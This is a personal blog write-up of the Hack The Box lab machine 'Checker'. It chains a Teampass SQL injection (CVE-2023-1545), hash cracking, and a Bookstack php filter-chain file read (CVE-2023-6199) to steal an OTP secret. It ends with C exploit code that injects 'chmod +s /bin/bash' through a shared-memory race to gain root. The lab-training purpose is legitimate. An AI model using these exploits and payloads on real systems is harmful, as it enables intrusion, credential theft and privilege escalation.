Hackthebox: Checker

Foued SAIDI Lv4

Overview

Checker is a hard-difficulty machine from Hack The Box dealing initially with an exposed Teampass instnace allowing us to exploit CVE-2023-1545 which is a SQLI allowing us to read users’ password hashes which then gives us access to Teampass where we find ssh creds that need a google authenticator OTP and Bookstack instance credentials. We’ll then exploit CVE-2023-6199 with php filter chain for LFI to be able to read the Google OTP code allowing us ssh access. Finally we’ll abuse an SHM Race Condition allowing for command injection to become root.

Checker-info-card
Checker-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-26 17:39 W. Central Africa Standard Time
Nmap scan report for 10.10.11.56
Host is up (0.40s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.50 seconds

We can see that we have our usual ssh 22 port alongside two web applications, one deployed on port 80 and the other on port 8080.

Web Application - http://checker.htb:8080

Checking the web application deployed on port 8080, we can see that it’s an instance of Teampass which is a Passwords Manager dedicated for managing passwords in a collaborative way by sharing them among team members.

Web Application
Web Application

There was no apparent way of logging in or creating an account, so I went looking for exploits:

CVE-2023-1545 - SQL Injection in Teampass versions >=0.0.0, <3.0.10

Looking into potential unauthenticated vulnerabilities, I managed to find this SQLI great post alongside a poc. Let’s see what we can do with it:

1
2
3
4
kujen@kujen:~$ ./sqli_checker.sh http://checker.htb:8080/
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

And just like that we managed to get two users password hashes. We managed to crack bob’s hash with JohnTheRipper:

1
2
3
4
5
6
7
8
9
10
11
─(kali㉿kali)-[~]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheerleader (?)
1g 0:00:00:04 DONE (2025-02-26 17:48) 0.2173g/s 180.0p/s 180.0c/s 180.0C/s caitlin..yamaha
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We can now use it to login on the portal:

Web Application
Web Application

Navigating through the account, we managed to get ssh credentials for a reader user and bookstack (http://checker.htb ) credentials for bob:

Web Application
Web Application

Web Application
Web Application

Bookstack Web Application - http://checker.htb

We can now use those credentials to access the bookstack endpoint using bob:

Bookstack
Bookstack

Chaining Bookstack CVE-2023-6199 with php filter chain for LFI

Looking into Bookstack, I stumble upon this CVE detailing how Book Stack version 23.10.2 allows filtering local files on the server. This is possible because the application is vulnerable to SSRF.

I will then use this script from Synacktiv team but I’ll just have to modify this small section in order for it to work:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def req_with_response(self, s):

        if self.delay > 0:

            time.sleep(self.delay)

        filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'

        merged_data = self.parse_parameter(filter_chain)

        phpfilter = merged_data['html']

        phpfilter_b64 = base64.b64encode(phpfilter.encode()).decode()

        img = f"<img src='data:image/png;base64,{phpfilter_b64}'/>"

        merged_data['html'] = img

        try:

Now what we’ll have to do it:
1- make a book
2- make a page in the book and save it as a draft
3- get x-csrf and xsrf and bookstack cookies from it

And run our script to get the google authenticator code that’ll be used for ssh access:

1
2
3
4
5
6
7
kujen@kujen:~/php_filter_chains_oracle_exploit$ python3 filters_chain_oracle_exploit.py   --target "http://checker.htb/ajax/page/10/save-draft"   --file "/backup/home_backup/home/reader/.google_authenticator"   --parameter "html"   --verb PUT   --headers "{\"X-CSRF-TOKEN\": \"RU9rQ6JdJkCLFAOCazBi5gK6GyMi7vFU8Qg5zWOp\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Cookie\": \"jstree_select=1; XSRF-TOKEN=eyJpdiI6IjAzcWFWOEF5UGdoWUVRVTA1L096NUE9PSIsInZhbHVlIjoiN0ZoZHp1cVRWbkZ2VEliNDNrY0x2c3JOYTAydTBpNUdyckFrTFNXdmUrOE83STNBSU9Ec1dPZ3dTRlQ2RUxmZWIyMEFLb1FNYzBLN3gxUDlOaWNUSFlhRXF1ZnVBdUVYZFJCY3hZQ21LbVFvdWpKM0NkZ0FLQktyNCs2WndST0MiLCJtYWMiOiJkZTljNDk3NzliMmYyN2Y5OTQ2NGI0YjVjZGE2ZTQ2ODU4ZjkwMjQxODhiNTBjMzBkOWQxZTNiYzcyNGVkYjI3IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6Illtc2JkbkUzYWVPWUxVQUp2a0UwdWc9PSIsInZhbHVlIjoiMFRHcG8wdGczeEw1cDBOc2xXcDRCeHRxT0dCYldLY3JRMzNpRDVVbUUrWExZK2ttWXlOdUxJWkhNWFJ2WUNDYWVQTkFoS2YxZGZnbVoraEhuV2pYcStLZVRJZmNXZTlIckJtRi9xS0JqbXhRM1RkRldQcDJJNHY5YXVFcDhNL2oiLCJtYWMiOiJjMzA0YzY5NWQ2ZWFkYmYzMGI1MDFmNjkxZDllODBlMDA5ODNjNDY0NTRiNDJlMzZjZTE0ZGFmZDdmYjY0NjU2IiwidGFnIjoiIn0%3D\"}"
[*] The following URL is targeted : http://checker.htb/ajax/page/10/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN": "RU9rQ6JdJkCLFAOCazBi5gK6GyMi7vFU8Qg5zWOp", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "jstree_select=1; XSRF-TOKEN=eyJpdiI6IjAzcWFWOEF5UGdoWUVRVTA1L096NUE9PSIsInZhbHVlIjoiN0ZoZHp1cVRWbkZ2VEliNDNrY0x2c3JOYTAydTBpNUdyckFrTFNXdmUrOE83STNBSU9Ec1dPZ3dTRlQ2RUxmZWIyMEFLb1FNYzBLN3gxUDlOaWNUSFlhRXF1ZnVBdUVYZFJCY3hZQ21LbVFvdWpKM0NkZ0FLQktyNCs2WndST0MiLCJtYWMiOiJkZTljNDk3NzliMmYyN2Y5OTQ2NGI0YjVjZGE2ZTQ2ODU4ZjkwMjQxODhiNTBjMzBkOWQxZTNiYzcyNGVkYjI3IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6Illtc2JkbkUzYWVPWUxVQUp2a0UwdWc9PSIsInZhbHVlIjoiMFRHcG8wdGczeEw1cDBOc2xXcDRCeHRxT0dCYldLY3JRMzNpRDVVbUUrWExZK2ttWXlOdUxJWkhNWFJ2WUNDYWVQTkFoS2YxZGZnbVoraEhuV2pYcStLZVRJZmNXZTlIckJtRi9xS0JqbXhRM1RkRldQcDJJNHY5YXVFcDhNL2oiLCJtYWMiOiJjMzA0YzY5NWQ2ZWFkYmYzMGI1MDFmNjkxZDllODBlMDA5ODNjNDY0NTRiNDJlMzZjZTE0ZGFmZDdmYjY0NjU2IiwidGFnIjoiIn0%3D"}
RFZEQlJBT0R
b'DVDBRAODLCWF7I2ONA4K5LQLUE'

The location of the code can be found in the documentation for the plugin.
Now just insert that code into https://it-tools.tech/otp-generator and ssh with it:

1
2
3
4
5
reader@checker:~$ id
uid=1000(reader) gid=1000(reader) groups=1000(reader)
reader@checker:~$ cat user.txt
89f7dbf1904f84d5b53504f17f89b866
reader@checker:~$

Privilege Escalation - SHM Race Command Injection

Checking what we can run as sudo, we find an interesting script that’s actually executing a binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
reader@checker:~$ sudo -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
reader@checker:~$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
reader@checker:~$

We have got to decompile the /opt/hash-checker/check-leak binary with ghidra and analyse what it’s actually doing.
So the program checks hashes on the DB against a list of known hashes /opt/hash-checker/leaked_hashes.txt but does that using shm memory with read/write permissions for everyone. What we basically have to do is change what the program stores in memory so that we can inject a command that’ll get executed by the program itself.

The write_to_shm() function writes to a random selected memory location, and the notify_user() function calls popen() using the string stored at that memory location. There is a one second sleep between them
The key for the shmget() call is the result of a call to rand(), and srand() is seeded with the current time()
The notify_user() function is given the randomly-selected key value, so it can get a handle to that memory location. This function searches for Leaked hash detected and locates the position of the > char. This is so it can search the database for the matching password hash$

The format string eventually passed to popen() is: mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'. If we can control this final ‘%s’ value, within the 1 second, we’ll be able to achieve command execution.

Thanks to dear Chatgpt we’re able to make this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>

#define SHM_SIZE 0x400
#define SHM_MODE 0x3B6

int main(void) {
time_t current_time = time(NULL);
srand((unsigned int)current_time);
int random_value = rand();
key_t key = random_value % 0xfffff;

printf("Generated key: 0x%X\n", key);
int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
if (shmid == -1) {
perror("shmget");
exit(EXIT_FAILURE);
}
char *shmaddr = (char *)shmat(shmid, NULL, 0);
if (shmaddr == (char *)-1) {
perror("shmat");
exit(EXIT_FAILURE);
}
const char *payload = "Leaked hash detected at Sat Feb 22 23:00:00 2025 > '; chmod +s /bin/bash;#";
snprintf(shmaddr, SHM_SIZE, "%s", payload);
printf("Shared Memory Content:\n%s\n", shmaddr);
if (shmdt(shmaddr) == -1) {
perror("shmdt");
exit(EXIT_FAILURE);
}

return 0;
}

I delete the GPT comments to look cool 8)

Now we just compile that. Then one one shell we run while true; do ./test; done and on the other we run sudo /opt/hash-checker/check-leak.sh bob
And we get what we want:

1
2
3
4
5
6
7
8
9
reader@checker:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
reader@checker:/tmp$ bash -p
bash-5.1# cat /root/root.txt
dfa2c580de0ec76a6513815e67c88e13
bash-5.1# exi
bash: exi: command not found
bash-5.1# exit

And that was it for Checker. I wish I could make a more detailed writeup but I’ve been sick for a week now :(
Hope you learned something new <3

-0xkujen

  • Title: Hackthebox: Checker
  • Author: Foued SAIDI
  • Created at : 2025-05-30 17:31:55
  • Updated at : 2025-05-30 20:25:12
  • Link: https://kujen5.github.io/2025/05/30/Hackthebox-Checker/
  • License: This work is licensed under CC BY-NC-SA 4.0.